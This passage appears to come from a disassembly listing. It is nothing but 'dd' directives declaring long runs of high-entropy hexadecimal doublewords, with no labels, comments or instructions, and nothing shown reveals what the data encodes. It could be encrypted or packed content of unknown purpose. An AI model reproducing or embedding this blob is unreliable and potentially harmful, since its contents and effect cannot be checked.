204A7E5Eh, 40AE897h dd 0DE2152D0h, 27F89688h, 59973E70h, 75178BFEh, 0E3EF2EF9h dd 85014598h, 0D8482BE9h, 0B091BD5Eh, 0D751DEE9h, 1CEC432h dd 8E525898h, 413B327Dh, 4F3B2608h, 1D40C3D1h, 0ED813E83h dd 11936006h, 2B3822D9h, 7A739BE2h, 0A43149D7h, 5CD6BE02h dd 0C7841333h, 7D58096Ch, 7A5F43BAh, 164316BCh, 9E67EB01h dd 0CEA41125h, 4DFB40C1h, 0EE4929ECh, 3EAC5B98h, 17C00610h dd 0CCD0205h, 9AD5E4F4h, 0BE1AD76Eh, 15207039h, 3B5981A7h dd 0F1FBD163h, 0C824E6D6h, 4EB29852h, 7BED36h, 9B61E504h dd 0B77241E9h, 6766A851h, 53D497B5h, 155685A8h, 547596ECh dd 3BEBD401h, 0CBF049F2h, 0DB650271h, 0DF91E903h, 9485245Eh dd 4BAD68F2h, 4DBD4060h, 0CC11A46h, 69BE5498h, 20CC720h dd 0E9458634h, 0B6813EC0h, 687FDE35h, 0BCED076Ah, 7CA91720h dd 8503996h, 2E91658h, 0ABE4177h, 803B5119h, 59698E22h dd 0D0CD017Eh, 0F27A0842h, 0FB6290F5h, 2DB73103h, 8A20EC24h dd 0EEBFB4E0h, 0A2189D63h, 6F92318Eh, 47581BF9h, 4A4A10DDh dd 0A821AFDDh, 0B37BE461h, 9FC9DFEBh, 0F5E91A2Fh, 681527CCh dd 270F4D8Fh, 6B27F154h, 34370830h, 4D886880h, 0FD80081Ch dd 0D1580927h, 43CAEA60h, 0B517744Ch, 1141B3B0h, 93B4F0Ah dd 0D4E936FAh, 233D0508h, 0FF03AA59h, 1C7856E9h, 0E912C1Ch dd 899D04D0h, 0FC515A3Ah, 0A9458049h, 1D525366h, 79CC8850h dd 10EFE7A4h, 9F355832h, 56F1314h, 3D5C226Ah, 1144281h dd 567D571Ch, 0DE51D725h, 9F65CB0Ch, 2444840Ch, 5819EC5Fh dd 0B3A7B6DAh, 77246FEFh, 6B4F33EDh, 77352B1Bh, 389AD382h dd 173E5DDh, 6DFB6853h, 0C15BD037h, 9CACEB5Eh, 0BB17BA04h dd 0D6C7FB0Ah, 0D449DFE2h, 44756099h, 51982A5Dh, 81A61870h dd 77C90734h, 987A5EFDh, 0ADBA9195h, 0EA2588F0h, 89C2F3FEh dd 9FFB863Eh, 2714820Ch, 3E7EB3CDh, 44C10E92h, 0EBF9511Eh dd 734CA1D7h, 1ED16046h, 0AE47D2BAh, 8F2C277Ah, 59926253h dd 895AAFA8h, 5E22E91h, 808384E5h, 7D4D6A2Eh, 1D930A4Eh dd 7834810h, 0CFFBF61Eh, 0DD8644F5h, 0F097F83Bh, 76380BFBh dd 0C38233A0h, 0EC6BA532h, 7EF8F1B1h, 0ED182C89h, 0E9D509B1h dd 52D412CEh, 1EC0577Ah, 265FC6E9h, 0D113298Ah, 3C78BB5Ah dd 69A124E9h, 0EE604092h, 89310DA2h, 0EAEB9AC6h, 0EF7357C2h dd 0A94BC239h, 12EA0035h, 0E9767E7Bh, 2913404Dh, 0FE02F097h dd 794291Ah, 99F009CDh, 832A2B93h, 68128071h, 0A3760ACh dd 732D648Ah, 5F860B0Bh, 21A03155h, 2E69C613h, 9015035Ch dd 9BBACF5h, 8CAB9EDCh, 6020F7Fh, 505D7FB4h, 13DFACF5h dd 874A13Bh, 800F3345h, 5B3F2F2h, 8C2572Fh, 0D586A0FFh dd 0B043E10Ah, 4CE98120h, 64D4BDA7h, 0B4800512h, 97BB951h dd 296F5B42h, 316B35D1h, 0BB4C511Bh, 1BEB85Fh, 32DB5635h dd 60C329CFh, 0A1DBB80Dh, 0F80DC27Ch, 74253857h, 0B034D893h dd 7A2E55B5h, 0E9861526h, 126E5B7h, 0E0C0D0F6h, 201D0C05h dd 0A49C9FDFh, 1059896Fh, 271AFC7Fh, 4A942939h, 2500ECBFh dd 6A949A12h, 15AA46B7h, 0FBDB2CE9h, 0E623A14Bh, 6B485AEAh dd 4E80C014h, 0DCCE0181h, 0D15C8226h, 27C02BEEh, 97735F7Ch dd 0B582DE7Eh, 0FE1233D9h, 0A081A9Ah, 7A5DFA75h, 463B2854h dd 0CDBD252Fh, 0E4BE37A2h, 0F805785Ah, 89156709h, 47AE9246h dd 0D75F4A48h, 6309C1F6h, 195CED7Ch, 8D530C04h, 2AB927ACh dd 0E0C4F6BCh, 177CAAB1h, 45CF2DE9h, 6841C576h, 4B6356A6h dd 5B232A78h, 52500B23h, 4AD6B9B6h, 2700E612h, 0E58027B5h dd 4FCDE69Fh, 0BE984CAh, 0FC2902BFh, 369E6382h, 7C2550C5h dd 1F2D165Eh, 2DF996B6h, 0B4EC20ABh, 2BE52DC0h, 0BD48A479h dd 5809E20Bh, 82E14901h, 0AC94D5E9h, 5DCB5B28h, 86594D16h dd 108D4C1Eh, 7251E260h, 5900BCC1h, 4E4BF868h, 203D3831h dd 0BE605E02h, 22F641CFh, 2DD6873Ch, 29D064C2h, 9A9E8C5Dh dd 0A7D75BBh, 6D0D0D10h, 85206554h, 0A3461381h, 83F70116h dd 2C1BCC55h, 16BB5D88h, 0DD67906Bh, 890DF992h, 931FFA3h dd 0FE69AD1Ch, 0A9534461h, 8FFEA4E8h, 5EB34AC3h, 0E70908D6h dd 0A60F7D25h, 0BA53C27h, 7656B711h, 94ED5B27h, 96F7C725h dd 0E824D2AAh, 1F60A99Fh, 8B9CB7FEh, 3E4BE1B0h, 9792BB3h dd 6D8D5BD7h, 0A42D3AE0h, 8992720Ch, 5DE987D6h, 311684C3h dd 0E3900ED0h, 0FCE045B9h, 1FCB03BCh, 1D1304C8h, 4D705AD8h dd 0F44BFB08h, 2127687Ch, 2F97C64Eh, 0C3C5561Bh, 0AABB60Dh dd 0EC2CCD6Ah, 2DC0FE06h, 510A42F3h, 5B050048h, 2D227476h dd 8B2D07B3h, 0FF4C221h, 7E119407h, 5FAD1C5Bh, 7DE4AEF4h dd 5AF440F2h, 3654409Dh, 4CBB3E15h, 4010B192h, 5285CDCBh dd 0AF903944h, 0C505B998h, 0C051A864h, 47B4A901h, 0BB3177AFh dd 80395FBh, 21878E9h, 2606C3CDh, 29E1078Dh, 0C05A029Eh dd 98C07F23h, 0C8F5EDFDh, 3159CBC0h, 8516B60Fh, 9CB26BD0h dd 89A0022Bh, 729B6BD5h, 0B372D2C3h, 0EF81DF01h, 42E84D77h dd 0BBD32162h, 0CE95931h, 9A2DE225h, 273C7D1Ch, 0FC589A55h dd 0DC29CC02h, 0F2DF7667h, 5DC60292h, 0B1D0EB1Ah, 4A63E915h dd 55CB03A4h, 0B164B330h, 2CAE11EBh, 90391662h, 7C279BCBh dd 16A724Ch, 5C145EECh, 6ED5F7h, 0FB16C532h, 0FC95B66Dh dd 4215802Ch, 97E93771h, 198C2E5Dh, 40606EFh, 0A008E7D8h dd 1685EA87h, 0E831E680h, 0EEC1B0AFh, 0F9E95803h, 12F5AE69h dd 76965581h, 0FB21EC2Dh, 96318C3Bh, 0B77E84Bh, 2FF6E9E9h dd 1D6B5F8h, 2E57DD47h, 3C126F08h, 0F81617AEh, 0BF797C7Dh dd 65923202h, 0A07477E9h, 1875B932h, 30417DF0h, 0B31A8321h dd 0DC79882Eh, 0B6196E32h, 200F46BEh, 41B84126h, 426355F0h dd 0C2D02810h, 0E14CFFE5h, 5F376815h, 4AB50738h, 0A02B2EE9h dd 0C280DA5Ch, 0BE884AC3h, 0F3B77A37h, 9D5F67Bh, 0BA5650DEh dd 5A58E507h, 53FAEA95h, 73383885h, 43DCF15Eh, 0CA406B7Eh dd 0F6C7CAFCh, 8533DCD9h, 0BD589368h, 0F0849229h, 101C37FCh dd 178B9FC5h, 357340FFh, 386E5382h, 0D00819Eh, 74F41E17h dd 729C0025h, 42D6476h, 5D4F4755h, 0E9DD0190h, 5B1E5887h dd 0F1F187D6h, 3956F269h, 2E8A55F2h, 0E9F29AFCh, 457D04E2h dd 0FC523544h, 0BB04D3A2h, 521DF2D9h, 0F085FAA6h, 0C65ED0AFh dd 50E24664h, 80DD7A95h, 1A4E5A08h, 0EE38C1E9h, 0C68369F1h dd 34D26943h, 1734DE1Ah dd 82C3F908h, 55125C68h, 0D04E4F5Bh, 2274BFD7h, 0C1F862FFh dd 0F9C26EDEh, 39C655F5h, 7AC471B5h, 0AC8F5955h, 76B70205h dd 0DC03466h, 633757C8h, 2AE10C74h, 0A0200578h, 0C66D135Dh dd 45E163Fh, 0DC733Ch, 5230D6B9h, 19259520h, 6C3F896Dh dd 0DD0610E5h, 0D0585B2Dh, 0D0575028h, 827A3000h, 907BBF04h dd 56086432h, 5A14140Fh, 6809C1B6h, 67F139B3h, 10C7E9C1h dd 4850B32Eh, 0C8EE054Ch, 75FC1465h, 0A59D2192h, 0A32B3864h dd 0C89BEAD0h, 0E2352DD8h, 680E7C26h, 90828C8h, 5E202FE9h dd 0DD7A8EBEh, 0D32C6B7Ah, 0BAC3D7Eh, 0C7FE8B27h, 0DF680919h dd 6EF7FEC2h, 1D47B909h, 0CF8114E9h, 0F79B481h, 0EEA03F78h dd 910EE268h, 0BE56839Eh, 2CB2196Dh, 3D42F460h, 0E961C506h dd 49294FFBh, 1A9925E5h, 66892A0Ch, 96738920h, 62CB878Fh dd 848C974h, 0B29D6EF4h, 0CF3394BAh, 0CAE0F582h, 6BE94655h dd 0DE79E460h, 6F315F5Bh, 61C63FF0h, 6FF71C47h, 2F7C7CE3h dd 10F22B17h, 0CEA6ED02h, 505528A4h, 40D30B23h, 94D46C2Ah dd 6AB00720h, 0C882CCF2h, 3E6A4D5Ah, 76126663h, 0D6B6A9F7h dd 2CAEE957h, 4714BA20h, 0D4631Eh, 23651C99h, 80DA72E9h dd 3C0029BBh, 0E3811EF2h, 393F1F19h, 0FCA9E94Dh, 5D005D2h dd 57CE00CBh, 587CB007h, 5BD83100h, 0E9D1F791h, 2D20BE1Fh dd 8D095E15h, 63FE5CBFh, 102C2DD5h, 0DA03F543h, 0E25E9071h dd 9564D8C0h, 0C9F380D6h, 0F66EF82Bh, 3953D7F6h, 4A9B8410h dd 66FC6DFBh, 0D0532F5Ch, 93939A86h, 3ABE3A50h, 49F5B993h dd 814029B7h, 0B180B7A9h, 0F6CABA88h, 9A681353h, 9037AB2Fh dd 0E377D390h, 5CE92D69h, 0CEFED300h, 0CA4AEE80h, 0BD3147FEh dd 5821078h, 90130CBEh, 0C81C6BDAh, 482D7044h, 7E846A80h dd 0C7D6173h, 31B578C8h, 79C43F30h, 0C06A67E1h, 7C9587BBh dd 0EE4CB5Bh, 418A4EF2h, 0F305431Ah, 0A4DFD520h, 5E386104h dd 68C033EDh, 0BA8ADBC1h, 58785859h, 218807B8h, 206F6CE1h dd 1049178Bh, 9C0838E9h, 7BF9BD70h, 0CFD14C44h, 366DF729h dd 3325D710h, 0D186465Fh, 0CBA1810h, 782E530Dh, 42E9D4B6h dd 662A1C67h, 494B3C0h, 4837F64Fh, 0A58157C2h, 20015E05h dd 4D05AAA7h, 0C5E920E1h, 0E538B7B1h, 0AE0BE4A7h, 685C9601h dd 0DE666FB8h, 0EB04D248h, 0AF332326h, 0C4576B6h, 4EEC8A2Ah dd 42123A00h, 0DF016B54h, 0C441411h, 0B8F5D87h, 833B7396h dd 0AFA95FEFh, 0C06B90C7h, 3E7C105h, 92E1D4D7h, 0D010B82Bh dd 3FBB45CCh, 0AFD6CFB3h, 6843C537h, 0CFAF943Ch, 0EE7D1666h dd 845BA4A2h, 977B77Bh, 661DF7E9h, 0B5E24B2Ah, 0D0A07B26h dd 78D374F6h, 865B28D8h, 8B011282h, 0B41DA814h, 133D8BFAh dd 5B04F680h, 6125774h, 83A7261Dh, 91B576A0h, 0C10D0ECFh dd 40688548h, 0C1C7460h, 0C701B446h, 0CFACBC96h, 205DF80Bh dd 0FC165533h, 25D1D3B5h, 3A480849h, 0D02FBACBh, 27BF8100h dd 705B1A51h, 37A12D84h, 7A35F747h, 177D8B98h, 0AD728567h dd 0B3EF02C2h, 75E5BE73h, 0C3215CC0h, 234584Fh, 15FD2380h dd 15285816h, 4B1CF303h, 0ECB569C3h, 9B34E3Eh, 3CE56880h dd 5A4A1F33h, 6D01BBACh, 0F74234CFh, 2E128BDAh, 3FBAD849h dd 0CE168EF2h, 4A73B8D4h, 77213309h, 0E54FCE05h, 0D3333279h dd 20E99F8Ch, 4D016B97h, 5C61F581h, 0E812736h, 324768C5h dd 961A8056h, 21DC0520h, 1AE909EFh, 39DD011Bh, 0F5F6C1CCh dd 7AE29741h, 4E7BD38Ch, 3EF4A3EDh, 6E8C5BB0h, 0A71517B7h dd 3E6F0002h, 0E91E5B91h, 0DCA93627h, 0DF91E918h, 55E35308h dd 1D033405h, 0E7C76B92h, 447973E7h, 0D04C97C6h, 0FF2D79A8h dd 10BC3099h, 6802F6CCh, 26596948h, 57F8E25Dh, 77F030C8h dd 0AFE9DD0Ch, 0B80F60Fh, 5866E8EDh, 3C09F006h, 0B0271EB0h dd 0E310C64Ch, 47253EE9h, 0F448C52Ah, 0A800E300h, 572A8C34h dd 265C2BBFh, 2EF2C64h, 7B770B66h, 247796F5h, 52BB64A6h dd 5A71E85Fh, 0BB68D330h, 7628846h, 0D5B83A10h, 4012E29Fh dd 4B0D08E8h, 3D1CAB2Bh, 3E852548h, 0AF0EADh, 95B93521h dd 312C0F1Eh, 0F8044DC7h, 10D469E9h, 3F0912B8h, 808041A1h dd 10E02D7Eh, 7D540B7h, 29273B5Dh, 34081C68h, 18141E1Ch dd 67EA1C47h, 0BC44B96Eh, 4D60704h, 87550AEh, 9F5FF444h dd 735F5D1Ah, 107C2F0Ah, 12BE5A9Bh, 422AF3F4h, 0DC0993EEh dd 0D7F7A340h, 48342739h, 950B204Ch, 0BD03AB7Ch, 6484F43h dd 0BFFDEC96h, 0E34026FFh, 2E2A7EBBh, 8DA05E79h, 2004D0F7h dd 0CD8BC967h, 67EA60AEh, 65098B27h, 0B16C9D68h, 0FC2F3B3Ch dd 7BC06BC7h, 821F964Ah, 625405C0h, 2745D1A5h, 8CC1E763h dd 0FBD86A94h, 6DFC9554h, 3AE950E1h, 14D7E8A7h, 200E90E5h dd 8019EB6Ah, 0F50616CAh, 0F253EAD8h, 30F614C2h, 82104CD1h dd 5DEC40B9h, 0C70422B8h, 50D051EBh, 0E962DCBBh, 0D653AE2Fh dd 90DD6B1Ch, 9923D259h, 57588FD5h, 0AA76AB44h, 8766B020h dd 3630E7F5h, 86F8BDC8h, 6BE0FE95h, 0B0842904h, 524F5810h dd 0E9A836F8h, 0E2220327h, 0B40FC85Bh, 51F62554h, 21078588h dd 0E1E16F94h, 0FE053AFAh, 0D7F15540h, 1D9D4F16h, 218AFACh dd 0F9BB5823h, 26661113h, 0EE0BED01h, 0A33BD999h, 64680B0Bh dd 52E7DE41h, 0C9B7D15Dh, 981B4204h, 0A240CE1Dh, 993B84Bh dd 52BF2662h, 0E90EEFF9h, 0BD8C37ECh, 9D3413D4h, 0E9374479h dd 0BAE2B02Eh, 0DC4AB805h, 9702424Ch, 40F11CE2h, 187DEA80h dd 0C67F42Fh, 74507540h, 0DA09F2C6h, 0D6C764C2h, 99B206Eh dd 1FC020BBh, 8E1A87Fh, 95B85813h, 786C01D2h, 3E1B3B0Fh dd 78A269C4h, 0A42234CFh, 0DA773132h, 0E46A4F4Dh, 0E403C2DFh dd 0C1758603h, 0B5CA10EAh, 0AB4CF7h, 0E870FEC6h, 5E846817h dd 0AFA48C41h, 5D490495h, 4B018FFFh, 0FEDF74BAh, 53709A84h dd 0BF555954h, 0BE58E851h, 0A26A03C8h, 0CCF68140h, 92B90D5Bh dd 38843E25h, 1A6FFD54h, 0A72DEFh, 0ED6FF6B5h, 4B7DB046h dd 0A425AD4Bh, 1B3538E6h, 99CDEB0Dh, 680CF033h, 7C2B20F0h dd 99010225h, 0F22EE4C7h, 0B3E01604h, 0BBD657A6h, 954A4B23h dd 4F3231FAh, 555E0298h, 0D6EB1551h, 6A9E836Eh, 0F20543A9h dd 0D3502DEDh, 6DC530C0h, 59B127F0h, 5107355Eh, 8772FDB9h dd 0B6F1C117h, 0A011D8D0h, 0E8282394h, 940CC13Dh, 2F2C593Fh dd 7D9CC104h, 9721561Eh, 0BD34B252h, 5ACB6655h, 89E3B858h dd 25AA74E4h, 81204CCFh, 9D7AD19Dh, 85A09354h, 0C87A0235h dd 70770F37h, 0B0C5A86h, 3F004F33h, 7ECB5B2Eh, 0EDD020BFh dd 60351CC7h, 80AF603h, 2934685Eh, 81A1CDDh, 8414091Ch dd 0BA0AE01Eh, 0C064052h, 0E92E4E60h, 71AF68D0h, 699528D1h dd 0E5D5A034h, 950ADBFh, 791BEB00h, 885E76D6h, 508E9603h dd 195B9E9h, 10EC8076h, 0C4D5F4C1h, 0F2C05AD4h, 9E4E605h dd 1DA66802h, 51665B98h, 8893B50Ch, 0DD0944EAh, 75D7038Ch dd 0CDB97335h, 93F28759h, 602BA41Eh, 817880C7h, 16D67254h dd 663CE7D2h, 0F24C5B68h, 52EB938Ah, 4BDA01CEh, 78F640AEh dd 0C1430AC4h, 0D508A8E3h, 0F1763CB1h, 9801A170h, 0F5D12C65h dd 0CD29091Dh, 7D9B1075h, 7F408260h, 68274FC3h, 1C47035h dd 573301Ch, 68F4E955h, 0D5091DB6h, 0F2279DCDh, 8827B36Eh dd 0FFE7173Ch, 0E9296016h, 58C2B669h, 0B7D60E9h, 0DBB47796h dd 4BA4E912h, 2EB1C3E4h dd 0C116011Ch, 2A7B8568h, 7682D927h, 58E9012Dh, 0E0B24DE4h dd 7FC4060Bh, 75D95EF5h, 13E3DF9h, 0BF685BD0h, 85E66B54h dd 22CAA96h, 33F06466h, 0F6BF82E1h, 6087BA55h, 82C982F3h dd 0C292E97Fh, 0BA885BE8h, 0D24BDEh, 4542E287h, 6803DCCh dd 28481040h, 0D2B04B01h, 84ECB79Eh, 459D4233h, 7EADBAD9h dd 80CC2F9Fh, 0E04E6DF8h, 28DF3D30h, 5E7D27FDh, 68076E5Bh dd 7F09030Eh, 0E912A1EEh, 42C847CEh, 5E63DC1h, 6723CA97h dd 0E57193E1h, 0ADB2EA84h, 0FB567AC5h, 0CC63868Eh, 4D4FC050h dd 0E67FE881h, 952C3302h, 80BD01B1h, 0B6524DC1h, 9DC6D8CDh dd 0DF61E9F2h, 0F1288706h, 25FA22BAh, 0D1C4D056h, 89208800h dd 48E3050Fh, 2196F4h, 7C1F3506h, 2D1D2194h, 13424C3Dh dd 55562BE9h, 8CECB61Ah, 0C17C03E0h, 5A081FC6h, 68F7406Eh dd 9802E02Fh, 0ABA00AF7h, 6E13B3CDh, 5186A4D9h, 0CCA152F6h dd 5EB43554h, 329E483Ch, 7FEE0B6Bh, 0EED5EF89h, 0D7A55AA3h dd 27ECB0A9h, 0CC145A3h, 256D6B4Ch, 3A166EBBh, 0B5907701h dd 2F7CBC05h, 0AE612258h, 0B22D00C4h, 78497543h, 0C7BB4CE2h dd 79AD2352h, 30FB93BCh, 8638D91Ch, 80E4FECFh, 0A650EF39h dd 0C20800F7h, 1C661EF8h, 347D7DFh, 2F48EFCFh, 0AF5C0A7Bh dd 2B331A32h, 0E42F45Ch, 0E507D5C4h, 0BDB28E58h, 0E9DF050Eh dd 0FDE29725h, 0E97468D6h, 5A137335h, 0F509AD04h, 0D87535C8h dd 3099DA29h, 0CDFE57D2h, 0EC0F494h, 81D1739Fh, 0F28062B2h dd 0E90683F8h, 76D58851h, 77AB25AAh, 3B6911E9h, 9F89F0E0h dd 2E560681h, 19CC3A01h, 2F4664F5h, 0B6BC80F7h, 459F293Dh dd 0B3E9E262h, 7355156Ah, 0C20449E2h, 7868054Ah, 0EE7164AEh dd 0A07E9B9Dh, 0C35B2B65h, 58FD7819h, 693EF66Ah, 2F64773Dh dd 0C9581130h, 0B191EEEh, 0D6294E6Ah, 2F088788h, 8382ABFEh dd 0DD369F4Ch, 0FC97B114h, 8A54AFF3h, 527CE49h, 0D2149DBBh dd 4AB20E1Ah, 81151F24h, 50010293h, 0C65E9113h, 57E23E4Ah dd 6DA4BD80h, 0F7022228h, 0FEE957D5h, 0FEDDADAh, 27D334C9h dd 0DE58F269h, 0ADBC26B4h, 9AD0D4C7h, 4177A9C5h, 387C4AFFh dd 0D6B4B71Dh, 1585338h, 0A50C105Eh, 0B1097821h, 346D779Ch dd 37E84616h, 0EEA3E394h, 0DDF86B4Eh, 0E3DDE617h, 838E4AC0h dd 0B9A3DA40h, 9EA03B4h, 0F6B030E2h, 43970BA5h, 5FD2DC3Fh dd 134E7558h, 66497BFCh, 46851615h, 5F9758Ch, 0E9288806h dd 125F0DEh, 0FB2DE807h, 5D40B056h, 13627505h, 55970E4h dd 0C0D417BDh, 8EE9C698h, 79E13670h, 0E6EAB43Fh, 0D9E9C2ACh dd 0E919AEBh, 57AA0CDBh, 61E316F3h, 0B5560401h, 0EB2D0027h dd 0F50221B2h, 0A05A4C72h, 0E60EC0B9h, 0BECEFE06h, 0F3712031h dd 0E83BD16Ah, 37682E5Eh, 1B292468h, 0E9506026h, 14E0AE0h dd 7B0F1D01h, 863B28CCh, 0F6C8077Eh, 68478201h, 9471146Fh dd 0C930D58Dh, 5CB57280h, 35586E82h, 8D5106A2h, 0AB0806A7h dd 0C4614E5Eh, 0E907059Ch, 1DD2E81Dh, 43CB5457h, 0D33A7D44h dd 0AC913B02h, 75BBBA00h, 31402698h, 0B6BC0961h, 41CCEED9h dd 34E8C156h, 6035C242h, 0FF810554h, 40687121h, 0AE62F46Eh dd 8943CE7Ch, 5505A4DBh, 1B57CBF2h, 0E9D3D183h, 1F63C598h dd 0D8ADC13Ch, 0DE9D5B50h, 0F6E9D083h, 310AEF65h, 0D9F987AAh dd 585736E2h, 28B61313h, 0EA4D0BF0h, 33829E29h, 57003422h dd 62085568h, 0B5B34C9Dh, 4C157809h, 5A27E7FAh, 0D4586F7Ah dd 808F18E7h, 26BCBE24h, 8076706Eh, 3B630E31h, 745D3FE9h dd 0ADC83BFDh, 5E6A41E7h, 0C958216Eh, 0C80101B3h, 1394CB2Eh dd 13123B35h, 0A6994E8h, 0E90615DBh, 12BE2082h, 0B15D5955h dd 0A5AD3E6Eh, 57E508D3h, 0A2685A02h, 0BB99A263h, 9707A77h dd 161B4C56h, 0C78070FEh, 93FB95DDh, 0F0FABD09h, 587DDA3Dh dd 5BD80ACBh, 9C029A52h, 754BE260h, 0FCA09082h, 0BCC3256Ah dd 8B4E7FF9h, 0C4E85D6Dh, 2FE4FD54h, 0C8809222h, 280AC7A0h dd 4809DEE8h, 0D664556Dh, 1F582B59h, 0FAD208B1h, 6866F341h dd 44D224BBh, 0E5123361h, 0C1B9CB49h, 0F10EA787h, 438842C6h dd 0C1EEF4FCh, 31069FEAh, 28FA6A70h, 0A008B850h, 14117FA9h dd 0E0E937E0h, 90760125h, 222D89EFh, 4CF368A0h, 35B626E8h dd 0E0B70824h, 58168124h, 18847F10h, 5A4E1866h, 0CFC85B89h dd 0A8E90A31h, 0BA812A69h, 71B01762h, 194DB881h, 834A0AEBh dd 143F30Eh, 41B60349h, 0E97FD263h, 9CDA97DAh, 5A50A14Ch dd 68E06AFCh, 18B757C3h, 0B31C80ADh, 7A12B7h, 0B6B92F1Ch dd 0D01DFF88h, 14C0C181h, 87E979A9h, 0FD31CE08h, 0CCE316E5h dd 0ACA056C8h, 3932215Bh, 0E1C51433h, 31326F7Bh, 176C6883h dd 1CFF0987h, 0E6AAC46Ch, 0D0E9034Fh, 3A370623h, 0E61FF45Ah dd 5D880340h, 2884E2D7h, 17F4AEFDh, 1685BED2h, 0F4B5D25Eh dd 0F927805Eh, 45FDE93Fh, 0BD5500D8h, 1CC514Ch, 52C9019Dh dd 393FFBAh, 0D9201329h, 91E00577h, 405FFE4Fh, 0B616C38Bh dd 40356400h, 0F746A276h, 0E8D10DD0h, 6CEB9AE9h, 0A8417C42h dd 0A6B59642h, 0E62E9793h, 0B2BE0456h, 0C170784Ah, 0F91D7E49h dd 6E0C8307h, 202F3677h, 0F7F631F6h, 0F4341427h, 3B190A5Dh dd 27E281C4h, 200F784Bh, 7A13DB29h, 1BA8720Dh, 1DA7BD5Fh dd 0B2C922EBh, 0BA218069h, 83726378h, 0AF92560Eh, 0F0E05784h dd 9908753Dh, 18DC826Eh, 0C8F7766Dh, 95ECD490h, 0CC307C65h dd 0E22B34A9h, 23422468h, 0CB59C144h, 5055C6D4h, 1F55C87h dd 524B82Bh, 0EA773C68h, 0DF4374CAh, 9A63214Bh, 7D5D3DE8h dd 6FF40589h, 0F8D8A10Ch, 80216630h, 0B04F9B9h, 0CA31987Ah dd 0DBEBBDC0h, 0CB474C6Bh, 0CEFD324h, 0C2919D48h, 0B42C0F09h dd 25445C07h, 0AD552BB2h, 90311DE6h, 0DE03FC2Fh, 0C7DEC649h dd 0AE5C16B0h, 85822374h, 9D849419h, 31BA69A0h, 2414FD5Bh dd 0F0E2D1h, 49FAB65Eh, 17FBB951h, 0EC0A8E4Ch, 361D023Ch dd 2CCF0122h, 0CAB75911h, 0D0170D88h, 34E9DE40h, 837ABCE5h dd 9A237CEh, 0BD547BDAh, 6A415017h, 14911ED2h, 0C1AAB03Eh dd 40014514h, 5C0B05F8h, 0EEF6D0Dh, 1861813Dh, 0E6399D07h dd 1BE70655h, 51339892h, 52E4BC89h, 6D6EBD21h, 0DEE9DAB4h dd 0DF8927B6h, 792D07DCh, 0DE894F72h, 0DFC20977h, 99805DC4h dd 719808E7h, 0E9564204h, 59095B83h, 5CE592F4h, 0FD53E949h dd 6DAD6B02h, 9C881C55h, 46A8CFC0h, 718AC2AFh, 0F3AE12C0h dd 89524885h, 0B35B7039h, 366805E1h, 101EF36Eh, 0A15B220Fh dd 53728E47h, 8027EB49h, 0B63EF09Eh, 26E9140Ah, 44D262B5h dd 1402228Eh, 60672549h, 1619BB49h, 0AA18DB61h, 69303E13h dd 9537BC68h, 0CCD740C6h, 1DC774BFh, 132D2CA7h, 0F7340016h dd 42708B02h, 0C20F5FB0h, 0D0D56150h, 55F6706h, 89020C4Eh dd 18B253Eh, 8264E0D6h, 629A946Eh, 5703955Fh, 80BEB455h dd 81EF87BFh, 3D5BCF05h, 6DD00B1Ch, 64A7029Ah, 88FF3465h dd 32F6ADCFh, 71F02C4Fh, 0E908A0EAh, 5E1E4C9Fh, 426E68C2h dd 26853D90h, 0E9099Eh, 1D1F1320h, 91BA0E66h, 0E8361C75h dd 495E60D8h, 90469364h, 0EF009B9h, 8BD72656h, 8200F0E3h dd 46EC550Ah, 42E894Ch, 0F757E958h, 38D629BDh, 765FCE1Bh dd 68C2D0FCh, 99EA4886h, 844475Dh, 0E625C7CFh, 5DE826B6h dd 0D7A30867h, 68E2E220h, 13BF5F48h, 0F8B2232Fh, 89FC7402h dd 21DF09D3h, 23ABCF69h dd 12B929CDh, 7D45F1A7h, 5F2B91A7h, 53C0CD6h, 5BBD4B1Ch dd 5CB00E70h, 2D6E03A8h, 9ED721Fh, 36565EA8h, 0BF0557Ah dd 0E978E51Ah, 71B29030h, 1E6B2617h, 806F0025h, 0EF3173ECh dd 82A5E92Fh, 76515DFFh, 0F2896566h, 660F2EB9h, 0BA9EFFA5h dd 4DD12D04h, 98FC0285h, 945B0740h, 53CF92D3h, 27E4A3E1h dd 0F91C775Ah, 89018890h, 0E911C956h, 819D7E50h, 4492C8CDh dd 3E2C005h, 4B9FCABBh, 49F9A184h, 2A00CA6h, 0E912370Ah dd 0CCEDA33Fh, 0D6ADBCD2h, 5EFEB8E0h, 2BB7894Eh, 0B25AEECEh dd 9EA8C232h, 0FA1AE0A9h, 8568125Fh, 0F3F4A478h, 0D4476681h dd 4C10B2D2h, 96730A8h, 5345C657h, 1405CD2Dh, 13098E0Dh dd 30305368h, 0DADFE940h, 181679Eh, 25678A0Dh, 5EA66520h dd 1090CA44h, 0BD020C21h, 396C4BB7h, 0E57A485Dh, 6B371659h dd 0C4AD51h, 3817DAC5h, 4BD5E949h, 0EA3524C9h, 27729D8Fh dd 5BFEF1A4h, 6356FA6h, 77839E81h, 48D17360h, 0BD03A2E7h dd 0C17B9306h, 2D84BDB4h, 0E970FC54h, 6ABCA9F0h, 4FF9C6C3h dd 2553AB1Ch, 53B80F80h, 0B4167CB2h, 340A48F3h, 0F758BB0Fh dd 5319F31h, 0B8E95EAAh, 389DABDAh, 0AB34D46Ch, 6475371Bh dd 2121AB02h, 0DC3D0C8Bh, 52B70E96h, 0DD022359h, 1D14E75Ah dd 12A81E9h, 1282EAEBh, 0B17B09C6h, 0D7B37A3Bh, 4650E84h dd 84BFC82Dh, 57980E8Fh, 50BD5C90h, 360341EFh, 1A0D099Fh dd 3530B04Fh, 0EAB904E2h, 8BC52979h, 6BE9086Bh, 0B17D2752h dd 704557A8h, 1E76708h, 0A256A3B9h, 89C57B34h, 0FB309D0Bh dd 48E9A095h, 1609F202h, 3120FE28h, 3FCD8106h, 80E5D3F3h dd 0B01FE95Dh, 0B16225BEh, 0AD3C0CF1h, 60777F0Eh, 481D374Dh dd 0C56B0798h, 0A3211670h, 0D4F1033Ah, 0E9F08A27h, 7834CB2h dd 5F1BBE68h, 5B9BB770h, 123C43F9h, 99F8FF4Fh, 5859EACCh dd 0C5905B52h, 0DF04D028h, 28E4C5E9h, 50111CC7h, 0E702BB92h dd 2B4C5174h, 2FBA6A40h, 0E4FBF32Fh, 3DD69D07h, 7AF0A492h dd 56D1B75Ch, 0ED97C08h, 0DAEFD689h, 0E7288795h, 75C40C81h dd 0B3D077CAh, 7FAA331Bh, 9818980Ch, 2AF9A146h, 9F5B51CCh dd 0F50507DAh, 25845FE7h, 8FCA8E01h, 0E142FECFh, 5880AD2h dd 80679333h, 4D2A99CBh, 